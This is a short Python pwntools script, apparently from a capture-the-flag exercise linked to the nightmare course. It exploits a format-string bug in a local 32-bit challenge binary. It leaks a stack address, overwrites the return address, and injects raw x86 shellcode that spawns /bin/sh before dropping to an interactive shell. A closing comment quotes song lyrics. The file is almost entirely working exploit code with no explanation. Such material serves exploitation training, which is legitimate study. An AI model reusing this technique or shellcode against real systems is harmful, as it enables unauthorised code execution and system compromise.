# +------------------------------------------------+
# | Atack: Format String Ret Shellcode             |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *

import sf

target = process("./chall-test_FmtString-09-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

target.recvuntil("Tell me I was never good enough: ")
leak = int(target.recvline().strip(b"\n"), 16)
ret_address = leak + (516)
fs = sf.WriteFmtStr(
		arch = 32,
		value = -0x1de,
		address = 0x0,
		offset = 0x6,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = ret_address,
		address_base = ret_address)

payload = sf.BufferOverflow(arch=32, start=516)
payload.add_bytes(516, fs.generate_fmt_str())
payload.add_bytes(478, b"\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80")
target.sendline(payload.generate_payload())


target.interactive()

# +------------------------------------------------+
# | Artist: Metallica                              |
# +------------------------------------------------+
# | Song: Wherever I May Roam                      |
# +------------------------------------------------+
# | Rover , Wanderer                               |
# | Nomad, Vagabond                                |
# | Call me what you will                          |
# +------------------------------------------------+

